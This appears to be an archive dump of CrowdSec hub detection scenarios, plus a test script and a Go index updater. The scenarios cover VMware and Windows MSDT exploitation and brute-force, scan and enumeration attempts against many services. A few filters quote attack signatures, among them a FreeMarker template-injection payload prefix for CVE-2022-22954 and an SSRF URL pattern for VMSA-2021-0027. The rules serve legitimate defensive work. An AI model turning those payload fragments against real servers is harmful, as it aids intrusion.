hub1/scenarios/crowdsecurity/vmware-cve-2022-22954.md000066400000000000000000000002601437532772500222720ustar00rootroot00000000000000Detect exploitation of Vmware CVE-2022-22954 Ref: https://www.vmware.com/security/advisories/VMSA-2022-0011.html Poc: https://github.com/sherlocksecurity/VMware-CVE-2022-22954hub1/scenarios/crowdsecurity/vmware-cve-2022-22954.yaml000066400000000000000000000007061437532772500226410ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/vmware-cve-2022-22954 description: "Detect Vmware CVE-2022-22954 exploitation attempts" filter: | evt.Meta.log_type in ['http_access-log', 'http_error-log'] && Upper(QueryUnescape(evt.Meta.http_path)) startsWith Upper('/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()(') groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/vmware-vcenter-vmsa-2021-0027.md000066400000000000000000000001531437532772500240320ustar00rootroot00000000000000Detect exploitation of VMSA-2021-0027 Ref: https://www.vmware.com/security/advisories/VMSA-2021-0027.html hub1/scenarios/crowdsecurity/vmware-vcenter-vmsa-2021-0027.yaml000066400000000000000000000006141437532772500243760ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/vmware-vcenter-vmsa-2021-0027 description: "Detect VMSA-2021-0027 exploitation attemps" filter: | evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Meta.http_path matches '/ui/vcav-bootstrap/rest/vcav-providers/provider-logo\\?url=(file|http)' groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/vsftpd-bf.md000066400000000000000000000001121437532772500210370ustar00rootroot00000000000000## Detect FTP bruteforce attack. ### Rule leakspeed of 10s, capacity of 5hub1/scenarios/crowdsecurity/vsftpd-bf.yaml000066400000000000000000000004251437532772500214100ustar00rootroot00000000000000type: leaky #debug: true name: crowdsecurity/vsftpd-bf description: "Detect FTP bruteforce (vsftpd)" filter: evt.Meta.log_type == 'ftp_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: ftp type: bruteforce remediation: truehub1/scenarios/crowdsecurity/windows-CVE-2022-30190-msdt.md000066400000000000000000000006031437532772500232600ustar00rootroot00000000000000This scenario detects some attempts at exploiting [CVE-2022-30190](https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) on Windows. It does so by parsing sysmon logs, more specifically the one with event ID 1 (process creation). This means that you need a working sysmon installation to be able to use this scenario. hub1/scenarios/crowdsecurity/windows-CVE-2022-30190-msdt.yaml000066400000000000000000000011111437532772500236150ustar00rootroot00000000000000type: trigger name: crowdsecurity/CVE-2022-30190-msdt description: "Detect CVE-2022-30190 from sysmon events" filter: | evt.Meta.service == 'sysmon' && evt.Parsed.EventID == '1' && Upper(evt.Parsed.Image) endsWith 'MSDT.EXE' && Upper(evt.Parsed.ParentImage) endsWith 'WINWORD.EXE' && (Upper(evt.Parsed.CommandLine) contains 'PCWDIAGNOSTIC' && Upper(evt.Parsed.CommandLine) contains 'IT_REBROWSEFORFILE' && Upper(evt.Parsed.CommandLine) contains 'IT_BROWSEFORFILE') labels: type: rce notification: true os: windows scope: type: user_account expression: evt.Parsed.User hub1/scenarios/crowdsecurity/windows-bf.md000066400000000000000000000002041437532772500212250ustar00rootroot00000000000000Detects BF against services using windows authentication (RDP, SMB, OWA, ...). Buckets have a capacity of 5 and a leakspeed of 10s.hub1/scenarios/crowdsecurity/windows-bf.yaml000066400000000000000000000004761437532772500216020ustar00rootroot00000000000000# windows auth bruteforce type: leaky name: crowdsecurity/windows-bf description: "Detect windows auth bruteforce" filter: "evt.Meta.log_type == 'windows_failed_auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: windows type: bruteforce remediation: true hub1/scenarios/firewallservices/000077500000000000000000000000001437532772500172735ustar00rootroot00000000000000hub1/scenarios/firewallservices/lemonldap-ng-bf.md000066400000000000000000000002361437532772500225600ustar00rootroot00000000000000Detect failed Lemonldap::NG authentications : - leakspeed of 30s, capacity of 5 on same target user - leakspeed of 2m, capacity of 5 unique distinct users hub1/scenarios/firewallservices/lemonldap-ng-bf.yaml000066400000000000000000000013701437532772500231220ustar00rootroot00000000000000# Lemonldap::NG brutforce type: leaky #debug: true name: firewallservices/lemonldap-ng-bf description: "Detect Lemonldap::NG bruteforce" filter: evt.Meta.service == 'llng' and evt.Meta.log_type == 'llng_auth_fail' leakspeed: 30s capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: llng type: bruteforce remediation: true --- # Lemonldap::NG user enumeration type: leaky #debug: true name: firewallservices/lemonldap-ng-user-enum description: "Detect Lemonldap::NG user enum bruteforce" filter: evt.Meta.service == 'llng' and evt.Meta.log_type == 'llng_auth_fail' groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 2m capacity: 5 blackhole: 1m labels: service: llng type: bruteforce remediation: true hub1/scenarios/firewallservices/pf-scan-multi_ports.md000066400000000000000000000001741437532772500235250ustar00rootroot00000000000000Detects a port scan : detects if a single IP attempts connection to many different ports. Leakspeed of 5s, capacity of 15. hub1/scenarios/firewallservices/pf-scan-multi_ports.yaml000066400000000000000000000005041437532772500240640ustar00rootroot00000000000000type: leaky name: firewallservices/pf-scan-multi_ports description: "ban IPs that are scanning us" filter: "evt.Meta.log_type == 'pf_drop' && evt.Meta.service == 'tcp'" groupby: evt.Meta.source_ip distinct: evt.Parsed.dst_port capacity: 15 leakspeed: 5s blackhole: 1m labels: service: tcp type: scan remediation: true hub1/scenarios/firewallservices/zimbra-bf.md000066400000000000000000000004511437532772500214660ustar00rootroot00000000000000Detect various authentication failures on Zimbra - On the web login page - On the SMTP server (SMTPS and SUBMISSION) - On the IMAP server This scenario uses two leaky buckets: - leakspeed of 30s, capacity of 5 (per client IP) - leakspeed of 2m, capacity of 5, on uniq target user (per client IP) hub1/scenarios/firewallservices/zimbra-bf.yaml000066400000000000000000000012321437532772500220260ustar00rootroot00000000000000# Zimbra brutforce type: leaky #debug: true name: firewallservices/zimbra-bf description: "Detect Zimbra bruteforce" filter: evt.Meta.log_type == 'zimbra_auth_fail' leakspeed: 30s capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: zimbra type: bruteforce remediation: true --- # Zimbra user enumeration type: leaky #debug: true name: firewallservices/zimbra-user-enum description: "Detect Zimbra user enum bruteforce" filter: evt.Meta.log_type == 'zimbra_auth_fail' groupby: evt.Meta.source_ip distinct: evt.Meta.user leakspeed: 2m capacity: 5 blackhole: 1m labels: service: zimbra type: bruteforce remediation: true hub1/scenarios/fulljackz/000077500000000000000000000000001437532772500157075ustar00rootroot00000000000000hub1/scenarios/fulljackz/proxmox-bf.md000066400000000000000000000002311437532772500203260ustar00rootroot00000000000000Detect failed proxmox authentications : - leakspeed of 10s, capacity of 5 on same target user - leakspeed of 10s, capacity of 5 unique distinct users hub1/scenarios/fulljackz/proxmox-bf.yaml000066400000000000000000000012231437532772500206720ustar00rootroot00000000000000# Proxmox authent bruteforce type: leaky name: fulljackz/proxmox-bf description: "Detect proxmox bruteforce" filter: "evt.Meta.log_type == 'pve_failed-auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: pvedaemon type: bruteforce remediation: true --- # Proxmox bad user type: leaky name: fulljackz/proxmox-bf-user-enum description: "Detect proxmox wrong username" filter: "evt.Meta.log_type == 'pve_failed-auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.source_user blackhole: 1m reprocess: true labels: service: pvedaemon type: bruteforce remediation: true hub1/scenarios/fulljackz/pureftpd-bf.yaml000066400000000000000000000004741437532772500210160ustar00rootroot00000000000000# Pureftpd authent bruteforce type: leaky name: fulljackz/pureftpd-bf description: "Detect pureftpd bruteforce" filter: "evt.Meta.log_type == 'pftpd_failed-auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: 'pureftpd' type: bruteforce remediation: true hub1/scenarios/hitech95/000077500000000000000000000000001437532772500153445ustar00rootroot00000000000000hub1/scenarios/hitech95/mail-generic-bf.md000066400000000000000000000002621437532772500206070ustar00rootroot00000000000000Alert when a single IP that try to bruteforce email (SMTP, IMAP, POP) auth. - leakspeed of 10s, capacity of 5 on same ip - leakspeed of 30s, capacity of 3 on same target user hub1/scenarios/hitech95/mail-generic-bf.yaml000066400000000000000000000012661437532772500211560ustar00rootroot00000000000000# Global brouteforce type: leaky #debug: true name: hitech95/email-generic-bf description: "Detect generic email brute force" filter: "evt.Meta.log_type == 'mail_auth' && evt.Meta.sub_type == 'auth_fail'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: email type: bf remediation: true --- # Per user brouteforce type: leaky #debug: true name: hitech95/email-user-bf description: "Detect specific user email brute force" filter: "evt.Meta.log_type == 'mail_auth' && evt.Meta.sub_type == 'auth_fail'" groupby: evt.Meta.source_ip distinct: evt.Meta.username capacity: 3 leakspeed: "30s" blackhole: 1m labels: service: email type: bf remediation: truehub1/scenarios/jusabatier/000077500000000000000000000000001437532772500160535ustar00rootroot00000000000000hub1/scenarios/jusabatier/apereo-cas-bf.md000066400000000000000000000002231437532772500207760ustar00rootroot00000000000000Detect failed CAS authentications : * leakspeed of 10s, capacity of 5 on same target user * leakspeed of 10s, capacity of 5 unique distinct users hub1/scenarios/jusabatier/apereo-cas-bf.yaml000066400000000000000000000012351437532772500213440ustar00rootroot00000000000000# cas bruteforce type: leaky name: jusabatier/apereo-cas-bf description: "Detect CAS bruteforce" filter: "evt.Meta.log_type == 'cas_failed-auth'" leakspeed: "10s" references: - http://wikipedia.com/cas-bf-is-bad capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: cas type: bruteforce remediation: true --- # cas user-enum type: leaky name: jusabatier/apereo-cas-bf_user-enum description: "Detect CAS user enum bruteforce" filter: evt.Meta.log_type == 'cas_failed-auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: cas type: bruteforce remediation: true hub1/scenarios/jusabatier/apereo-cas-slow-bf.md000066400000000000000000000002361437532772500217640ustar00rootroot00000000000000Detect slow CAS bruteforce authentications : * leakspeed of 60s, capacity of 10 on same target user * leakspeed of 60s, capacity of 10 unique distinct users hub1/scenarios/jusabatier/apereo-cas-slow-bf.yaml000066400000000000000000000012451437532772500223270ustar00rootroot00000000000000# CAS bruteforce type: leaky name: jusabatier/cas-slow-bf description: "Detect slow CAS bruteforce" filter: "evt.Meta.log_type == 'cas_failed-auth'" leakspeed: "60s" references: - http://wikipedia.com/cas-bf-is-bad capacity: 10 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: cas type: bruteforce remediation: true --- # cas user-enum type: leaky name: jusabatier/cas-slow-bf_user-enum description: "Detect slow CAS user enum bruteforce" filter: evt.Meta.log_type == 'cas_failed-auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 60s capacity: 10 blackhole: 1m labels: service: cas type: bruteforce remediation: true hub1/scenarios/jusabatier/cas-slow-bf.yaml000066400000000000000000000012631437532772500210560ustar00rootroot00000000000000# CAS bruteforce type: leaky name: jusabatier/apereo-cas-slow-bf description: "Detect slow CAS bruteforce" filter: "evt.Meta.log_type == 'cas_failed-auth'" leakspeed: "60s" references: - http://wikipedia.com/cas-bf-is-bad capacity: 10 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: cas type: bruteforce remediation: true --- # cas user-enum type: leaky name: jusabatier/apereo-cas-slow-bf_user-enum description: "Detect slow CAS user enum bruteforce" filter: evt.Meta.log_type == 'cas_failed-auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 60s capacity: 10 blackhole: 1m labels: service: cas type: bruteforce remediation: true hub1/scenarios/lourys/000077500000000000000000000000001437532772500152575ustar00rootroot00000000000000hub1/scenarios/lourys/pterodactyl-wings-bf.md000066400000000000000000000003551437532772500216500ustar00rootroot00000000000000Detect failed pterodactyl wings authentications: Invalid format: - leakspeed of 15s, capacity of 1 on same target user - leakspeed of 15s, capacity of 1 unique distinct users Invalid username/password: - leakspeed of 15s, capacity of 3hub1/scenarios/lourys/pterodactyl-wings-bf.yaml000066400000000000000000000022021437532772500222030ustar00rootroot00000000000000#################### ## Invalid format ## #################### type: leaky name: lourys/pterodactyl-wings-bf description: "Detect invalid_format ssh bruteforce" filter: "evt.Meta.log_type == 'pterodactly_wings_invalid_format'" leakspeed: "15s" capacity: 1 groupby: evt.Meta.source_ip blackhole: 15m reprocess: true labels: service: pterodactyl type: bruteforce remediation: true --- type: leaky name: lourys/pterodactyl-wings-bf description: "Detect invalid_format ssh user enum bruteforce" filter: evt.Meta.log_type == 'pterodactly_wings_invalid_format' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 15s capacity: 1 blackhole: 15m labels: service: pterodactyl type: bruteforce remediation: true ############################### ## Invalid username/password ## ############################### --- type: leaky name: lourys/pterodactyl-wings-bf description: "Detect invalid_username_or_password ssh bruteforce" filter: evt.Meta.log_type == 'pterodactly_wings_invalid_username_or_password' groupby: evt.Meta.source_ip leakspeed: 10s capacity: 5 blackhole: 1m labels: service: pterodactyl type: bruteforce remediation: true hub1/scenarios/ltsich/000077500000000000000000000000001437532772500152105ustar00rootroot00000000000000hub1/scenarios/ltsich/http-w00tw00t.md000066400000000000000000000003021437532772500200070ustar00rootroot00000000000000trigger scenario to detect w00tw00t pattern used by http vulnerability scanner, see [this ressource](https://isc.sans.edu/forums/diary/w00tw00t/900/) > Contributed by https://github.com/LtSich hub1/scenarios/ltsich/http-w00tw00t.yaml000066400000000000000000000004731437532772500203620ustar00rootroot00000000000000#contributed by ltsich type: trigger name: ltsich/http-w00tw00t description: "detect w00tw00t" debug: false filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.file_name contains 'w00tw00t.at.ISC.SANS.DFind'" groupby: evt.Meta.source_ip blackhole: 5m labels: service: http type: scan remediation: true hub1/scenarios/mstilkerich/000077500000000000000000000000001437532772500162405ustar00rootroot00000000000000hub1/scenarios/mstilkerich/bind9-refused.md000066400000000000000000000001701437532772500212200ustar00rootroot00000000000000Detect AXFR requests and DNS queries rejected by bind9 security policy: - leakspeed of 10s, capacity of 5 on source ip hub1/scenarios/mstilkerich/bind9-refused.yaml000066400000000000000000000005571437532772500215730ustar00rootroot00000000000000type: leaky name: mstilkerich/bind9-refused description: "Act on queries / zone transfers denied by bind9 policy" debug: false filter: "evt.Meta.log_type == 'bind9_denied'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 10s blackhole: 1m labels: service: bind9 type: scan # remediation label, if set to true indicate IP should be banned remediation: true hub1/scenarios/schiz0phr3ne/000077500000000000000000000000001437532772500162425ustar00rootroot00000000000000hub1/scenarios/schiz0phr3ne/prowlarr-bf.md000066400000000000000000000002411437532772500210160ustar00rootroot00000000000000Detect failed Prowlarr authentications: - leakspeed of 15s, capacity of 5 on source ip - leakspeed of 30s, capacity of 5 on source ip and unique distinct users hub1/scenarios/schiz0phr3ne/prowlarr-bf.yaml000066400000000000000000000013151437532772500213630ustar00rootroot00000000000000# Prowlarr bruteforce type: leaky name: schiz0phr3ne/prowlarr-bf description: "Detect Prowlarr bruteforce" filter: "evt.Meta.log_type in ['prowlarr_failed_authentication']" leakspeed: "15s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: prowlarr type: bruteforce remediation: true --- # Prowlarr user enum bruteforce type: leaky name: schiz0phr3ne/prowlarr-bf_user-enum description: "Detect Prowlarr user enum bruteforce" filter: "evt.Meta.log_type in ['prowlarr_failed_authentication']" leakspeed: "30s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: prowlarr type: bruteforce remediation: true hub1/scenarios/schiz0phr3ne/radarr-bf.md000066400000000000000000000002371437532772500204260ustar00rootroot00000000000000Detect failed Radarr authentications: - leakspeed of 15s, capacity of 5 on source ip - leakspeed of 30s, capacity of 5 on source ip and unique distinct users hub1/scenarios/schiz0phr3ne/radarr-bf.yaml000066400000000000000000000012711437532772500207670ustar00rootroot00000000000000# Radarr bruteforce type: leaky name: schiz0phr3ne/radarr-bf description: "Detect Radarr bruteforce" filter: "evt.Meta.log_type in ['radarr_failed_authentication']" leakspeed: "15s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: radarr type: bruteforce remediation: true --- # Radarr user enum bruteforce type: leaky name: schiz0phr3ne/radarr-bf_user-enum description: "Detect Radarr user enum bruteforce" filter: "evt.Meta.log_type in ['radarr_failed_authentication']" leakspeed: "30s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: radarr type: bruteforce remediation: true hub1/scenarios/schiz0phr3ne/sonarr-bf.md000066400000000000000000000002371437532772500204570ustar00rootroot00000000000000Detect failed Sonarr authentications: - leakspeed of 15s, capacity of 5 on source ip - leakspeed of 30s, capacity of 5 on source ip and unique distinct users hub1/scenarios/schiz0phr3ne/sonarr-bf.yaml000066400000000000000000000012711437532772500210200ustar00rootroot00000000000000# Sonarr bruteforce type: leaky name: schiz0phr3ne/sonarr-bf description: "Detect Sonarr bruteforce" filter: "evt.Meta.log_type in ['sonarr_failed_authentication']" leakspeed: "15s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: sonarr type: bruteforce remediation: true --- # Sonarr user enum bruteforce type: leaky name: schiz0phr3ne/sonarr-bf_user-enum description: "Detect Sonarr user enum bruteforce" filter: "evt.Meta.log_type in ['sonarr_failed_authentication']" leakspeed: "30s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: sonarr type: bruteforce remediation: true hub1/scenarios/thespad/000077500000000000000000000000001437532772500153525ustar00rootroot00000000000000hub1/scenarios/thespad/sshesame-honeypot.md000066400000000000000000000004031437532772500213440ustar00rootroot00000000000000# sshesame scenarios Scenarios for [sshesame](https://github.com/jaksi/sshesame/) honeypot logs. ## Scenario setup * All login events: leakspeed of 30m, capacity of 3 * Any commands sent by clients as part of a connection attempt will immediately overflow hub1/scenarios/thespad/sshesame-honeypot.yaml000066400000000000000000000015111437532772500217070ustar00rootroot00000000000000# sshesame bruteforce type: leaky name: thespad/sshesame-bf description: "Detect sshesame bruteforce" filter: "evt.Meta.log_type == 'sshesame_login'" leakspeed: "30m" capacity: 3 groupby: evt.Meta.source_ip blackhole: 1m labels: service: sshesame type: bruteforce remediation: true --- # sshesame commands type: trigger name: thespad/sshesame-cmd description: "Detect sshesame commands" filter: "evt.Meta.log_type == 'sshesame_cmd'" capacity: 0 groupby: evt.Meta.source_ip blackhole: 1m labels: service: sshesame type: command remediation: true --- # sshesame input type: leaky name: thespad/sshesame-input description: "Detect sshesame input spam" filter: "evt.Meta.log_type == 'sshesame_input'" leakspeed: "5m" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m labels: service: sshesame type: input remediation: true hub1/scenarios/timokoessler/000077500000000000000000000000001437532772500164425ustar00rootroot00000000000000hub1/scenarios/timokoessler/gitlab-bf.md000066400000000000000000000002361437532772500206140ustar00rootroot00000000000000Detect failed GitLab authentications: - leakspeed of 20s, capacity of 5 on source ip - leakspeed of 40s, capacity of 5 on source ip and unique distinct usershub1/scenarios/timokoessler/gitlab-bf.yaml000066400000000000000000000012771437532772500211640ustar00rootroot00000000000000# gitlab bruteforce type: leaky name: timokoessler/gitlab-bf description: "Detect gitlab bruteforce" filter: "evt.Meta.log_type in ['gitlab_failed_password', 'gitlab_failed_totp']" leakspeed: "20s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: gitlab type: bruteforce remediation: true --- # gitlab user enum bruteforce type: leaky name: timokoessler/gitlab-bf_user-enum description: "Detect gitlab user enum bruteforce" filter: "evt.Meta.log_type == 'gitlab_failed_password'" leakspeed: "40s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: gitlab type: bruteforce remediation: truehub1/scenarios/timokoessler/mongodb-bf.md000066400000000000000000000003721437532772500210000ustar00rootroot00000000000000Detect failed MongoDB authentications: - leakspeed of 20s, capacity of 5 on source ip - leakspeed of 40s, capacity of 5 on source ip and unique distinct users - leakspeed of 40s, capacity of 5 on source ip and unique distinct authentication databasehub1/scenarios/timokoessler/mongodb-bf.yaml000066400000000000000000000021251437532772500213400ustar00rootroot00000000000000# mongodb bruteforce type: leaky name: timokoessler/mongodb-bf description: "Detect mongodb bruteforce" filter: "evt.Meta.log_type == 'mongodb_failed_auth'" leakspeed: "20s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: mongodb type: bruteforce remediation: true --- # mongodb user enum bruteforce type: leaky name: timokoessler/mongodb-bf_user-enum description: "Detect mongodb user enum bruteforce" filter: "evt.Meta.log_type == 'mongodb_failed_auth'" leakspeed: "40s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: mongodb type: bruteforce remediation: true --- # mongodb authentication database enum bruteforce type: leaky name: timokoessler/mongodb-bf_auth-db-enum description: "Detect mongodb authentication database enum bruteforce" filter: "evt.Meta.log_type == 'mongodb_failed_auth'" leakspeed: "40s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.authentication_database blackhole: 1m reprocess: true labels: service: mongodb type: bruteforce remediation: truehub1/scenarios/timokoessler/uptime-kuma-bf.md000066400000000000000000000002431437532772500216060ustar00rootroot00000000000000Detect failed Uptime Kuma authentications: - leakspeed of 15s, capacity of 5 on source ip - leakspeed of 30s, capacity of 5 on source ip and unique distinct usershub1/scenarios/timokoessler/uptime-kuma-bf.yaml000066400000000000000000000014231437532772500221510ustar00rootroot00000000000000# Uptime Kuma bruteforce type: leaky name: timokoessler/uptime-kuma-bf description: "Detect Uptime Kuma bruteforce" filter: "evt.Meta.log_type in ['uptime_kuma_failed_password', 'uptime_kuma_failed_totp']" leakspeed: "15s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m reprocess: true labels: service: uptime-kuma type: bruteforce remediation: true --- # Uptime Kuma user enum bruteforce type: leaky name: timokoessler/uptime-kuma-bf_user-enum description: "Detect Uptime Kuma user enum bruteforce" filter: "evt.Meta.log_type in ['uptime_kuma_failed_password', 'uptime_kuma_failed_totp']" leakspeed: "30s" capacity: 5 groupby: evt.Meta.source_ip distinct: evt.Meta.username blackhole: 1m reprocess: true labels: service: uptime-kuma type: bruteforce remediation: truehub1/tests.sh000077500000000000000000000045611437532772500134430ustar00rootroot00000000000000#!/bin/bash usage() { echo "Usage:" echo " ./tests.sh -h|--help Display this help message." echo " ./tests.sh -i Init tests : prepare env tests" echo " ./tests.sh -g Generate new test by specifying target config (parser|scenario|postoverflow)" echo " ./tests.sh --all Run all tests" echo " ./tests.sh --single Run single test" exit 0 } init_tests() { if [[ -n $1 ]]; then BRANCH=$1 git clone --branch $BRANCH https://github.com/crowdsecurity/hub-tests.git cd hub-tests/ && go get -u github.com/crowdsecurity/crowdsec@$BRANCH || true && go build && cd .. else git clone https://github.com/crowdsecurity/hub-tests.git cd hub-tests/ && go build && cd .. fi cp -r hub-tests/config/ . mkdir config/hub data && cp .index.json config/hub/ } generate_config() { if [[ -n $1 ]]; then TEST=$1 ITEM_TYPE=$(echo $TEST | awk -F "/" '{print $1}') ITEM_NAME=$(echo $TEST | awk -F "/" '{print $(NF-1)"/"$(NF)}') ITEM_NAME=$(echo $ITEM_NAME | awk -F "." '{print $1}') mkdir -p $(dirname $TEST)/.tests/$(basename $TEST .yaml) cat < $(dirname $TEST)/.tests/$(basename $TEST .yaml)/config.yaml log_file: test.log #unused for now, will need rework when acquis.yaml will part of parsers parser_results: parser_results.json bucket_input: bucket_input.yaml bucket_results: bucket_result.json postoverflow_input: postoverflow_input.yaml postoverflow_results: postoverflow_results.json #configuration index: "./config/hub/.index.json" configurations: $ITEM_TYPE: - $ITEM_NAME EOF fi } run_all_tests() { ./hub-tests/hub-tests -glob config.yaml -junit output.xml -overall } run_single_test() { ./hub-tests/hub-tests -single $1 } if [[ $# -eq 0 ]]; then usage fi while [[ $# -gt 0 ]] do key="${1}" case ${key} in -i) init_tests ${2} exit 0 ;; -g) generate_config ${2} exit 0 ;; --all) run_all_tests exit 0 ;; --single) run_single_test ${2} exit 0 ;; -h|--help) usage exit 0 ;; *) # unknown option echo "Unknown argument ${key}." usage exit 1 ;; esac done hub1/update.go000066400000000000000000000033621437532772500135510ustar00rootroot00000000000000package main import ( "fmt" "log" "os" "path" "path/filepath" "strings" ) func updateType(name string, dict map[string]typeInfo, filepath string, configType string) typeInfo { var tInfo typeInfo tInfo = dict[name] tInfo.generate(filepath, configType) return tInfo } func updateIndex(configType string, idx map[string]map[string]typeInfo, tmpIdx map[string]map[string]typeInfo) { var files []string //tInfo := make(map[string]typeInfo) folder := path.Join("./", configType) idx[configType] = make(map[string]typeInfo) err := filepath.Walk(folder, func(path string, info os.FileInfo, err error) error { if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { files = append(files, path) } return nil }) if err != nil { panic(err) } log.Printf("Updating stuff for %s", configType) for _, filepath := range files { var foundFile bool foundFile = false // only deal with filepath that starts with parsers/scenarios/postoverflows if strings.HasPrefix(filepath, folder) { // we are going to check if the file is already in the index to update it if val, ok := tmpIdx[configType]; ok { var tInfo typeInfo var hubName string for name, info := range val { if filepath == info.Path { tInfo = updateType(name, val, filepath, configType) hubName = name foundFile = true break } } if foundFile { idx[configType][hubName] = tInfo } else { // the file was not found in the .index, creating a new entry var tInfo typeInfo hubName, err := tInfo.generate(filepath, configType) if err != nil { fmt.Printf("skipping '%s' because : %s\n", filepath, err.Error()) } else { idx[configType][hubName] = tInfo } } } } } }